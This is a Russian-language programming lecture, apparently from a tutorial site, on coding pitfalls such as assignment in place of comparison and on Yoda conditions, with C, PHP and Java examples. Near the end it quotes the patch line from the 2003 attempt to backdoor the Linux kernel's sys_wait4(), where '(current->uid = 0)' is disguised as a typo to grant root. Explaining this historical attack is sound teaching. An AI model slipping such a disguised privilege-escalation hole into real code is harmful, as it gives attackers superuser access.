Лекция
Привет, Вы узнаете о том , что такое уловки в программировании, Разберем основные их виды и особенности использования. Еще будет много подробных примеров и описаний. Для того чтобы лучше понимать что такое уловки в программировании, камни преткновения, условия йоды , настоятельно рекомендую прочитать все из категории Разработка программного обеспечения и информационных систем.
Камень преткновения ( англ. Gotcha ) в программировании , обозначает в языке программирования или системе валидную конструкцию работает как задокументировано, но есть контринтуитивною и часто приводит к ошибкам, потому что ее просто применить, а результат неожиданный
В программировании , уловки ( камни преткновения )является действительным конструктом в системе, программе или язык программирования , который работает , как документированные , но является нелогичным и почти приглашают ошибки , потому что это так легко вызвать и неожиданная или необоснованную в его исходе.
Классический подводный камень в C / C ++ - это конструкция
if( a = b ) {...};
Он синтаксически действителен: он помещает значение b
в a
и затем выполняется, code
если a
оно не равно нулю. Иногда это даже подразумевается. Однако чаще всего это опечатка: вероятно, программист имел в виду
if ( a == b ) {...};
который выполняется, code
если a
и b
равны. Современные компиляторы обычно генерируют предупреждение при обнаружении первой конструкции (условная ветвь при назначении, а не сравнение), в зависимости от параметров компилятора (например, параметр -Wall для gcc). Чтобы избежать этой ошибки, рекомендуется сохранять константы в левой части сравнения, например, 42 == x
а не x == 42
. Таким образом, использование =
вместо ==
вызовет ошибку компилятора (см. Условия yoda ). Однако многие виды ошибок не обнаруживаются компиляторами. .
Условия Йоды (от англ. Yoda conditions), или нотация Йоды (англ. Yoda notation) в жаргоне программистов — «безопасный» стиль записи выражений сравнения при программировании на языках с Си-синтаксисом, заключающийся в написании константного члена выражения (константы или вызова функции) слева от оператора сравнения (то есть 5 == a вместо привычного а == 5).
Такой стиль призван предотвратить свойственную данным языкам ошибку — использование оператора присваивания «=» вместо сравнения «==». Ошибочное использование присваивания превращает нотацию Йоды в попытку изменить константу, вызывая ошибку на этапе компиляции, что исключает возможность появления в готовой программе ошибок данного вида, а также облегчает их поиск и исправление в новом коде.
Нотация названа в честь магистра Йоды из вселенной «Звездных войн», имеющего манеру выстраивать слова фразы в обратном порядке.
В классической нотации проверка переменной на равенство некоторой константе записывается следующим образом (пример на языке PHP):
if ( $variable == 52 ) {
/* действия, выполняемые, если переменная равна 52 */
}
то есть переменная, операция сравнения и константа. Об этом говорит сайт https://intellect.icu . Данная конструкция уязвима для известной ошибки:
if ( $variable = 52 ) { // ОШИБКА: ПРИСВАИВАНИЕ переменной значения 52
/* действия, выполняемые ВСЕГДА, ибо значением выражения в скобках будет число 52, которое не равно нулю и поэтому в данном контексте рассматривается как true */
}
Такой код остается синтаксически правильным, и при ненадлежащем тестировании может остаться в программе на долгие годы и стать причиной серьезной уязвимости.
При использовании нотации Йоды переменная и константа меняются местами, так что константа оказывается слева:
if ( 52 == $variable ) {
/* действия, выполняемые, если переменная равна 52 */
}
При такой нотации в случае опечатки в операторе сравнения получается синтаксически некорректное присваивание константе и программа не будет работать, пока ошибка не будет найдена и исправлена.
if ( 52 = $variable ) { // ОШИБКА при компиляции
/* ... */
}
Совершенно аналогично для функций:
if ( someFunction() = $variable ) { // ОШИБКА при компиляции /* ... */ }
Нотация Йоды также применима в разрешении проблемы небезопасного «нулевого поведения» (англ. unsafe null behavior) например (пример на языке Java):
String myString = null;
if ( myString.equals("foobar") ) { // Вызывает NullPointerException
/* ... */
}
При применении нотации Йоды:
String myString = null;
if ( "foobar".equals(myString) ) { // Результат - Ложь
/* не выполняется */
}
Использование нотации Йоды не позволяет программам на языках C++, Java, PHP и других работать при наличии ошибок в выражениях сравнения (поведения программы данная модификация не меняет). Некоторые программисты считают использование данной нотации «признаком хорошего тона» .
К недостаткам нотации относится сложность написания, модификации и чтения программы , а также довольно узкая область применения — только сравнение на равенство, только сравнение с константой или результатом вызова функции. Современные инструментальные средства разработки (компиляторы, редакторы) позволяют отслеживать и выдавать предупреждения, когда встречают присваивание в управляющей конструкции, считая его потенциально ошибочным.
sys_wait4()
[ Примечательна неудавшаяся попытка внедрения бэкдора в функцию sys_wait4()
в ядре Linux (2003) . Разработка шла на проприетарной системе управления версиями BitKeeper, по ночам код выкладывался на более распространенный CVS. Этот CVS и взломали, добавив в обработчик системного вызова sys_wait4()
код, как будто проверяющий входные данные на некорректную комбинацию флагов:
+ if ((options == (__WCLONE|__WALL)) && (current->uid = 0)) + retval = -EINVAL;
Бэкдор был замаскирован под простую опечатку — вместо ==
стояло =
. Таким образом, передача в функцию двух флагов, противоречащих друг другу, выполняла код current->uid = 0
, то есть давала программе права суперпользователя.
Очередная выкачка информации на CVS дала сбой, и инородные патчи удалили до того, как стало ясно, что они собой представляют. В стабильное ядро патч попасть не мог (связь между BitKeeper и CVS односторонняя). Автора бэкдора найти не удалось.
Исследование, описанное в статье про уловки в программировании, подчеркивает ее значимость в современном мире. Надеюсь, что теперь ты понял что такое уловки в программировании, камни преткновения, условия йоды и для чего все это нужно, а если не понял, или есть замечания, то не стесняйся, пиши или спрашивай в комментариях, с удовольствием отвечу. Для того чтобы глубже понять настоятельно рекомендую изучить всю информацию из категории Разработка программного обеспечения и информационных систем
Из статьи мы узнали кратко, но содержательно про уловки в программировании
Комментарии
Оставить комментарий
Разработка программного обеспечения и информационных систем
Термины: Разработка программного обеспечения и информационных систем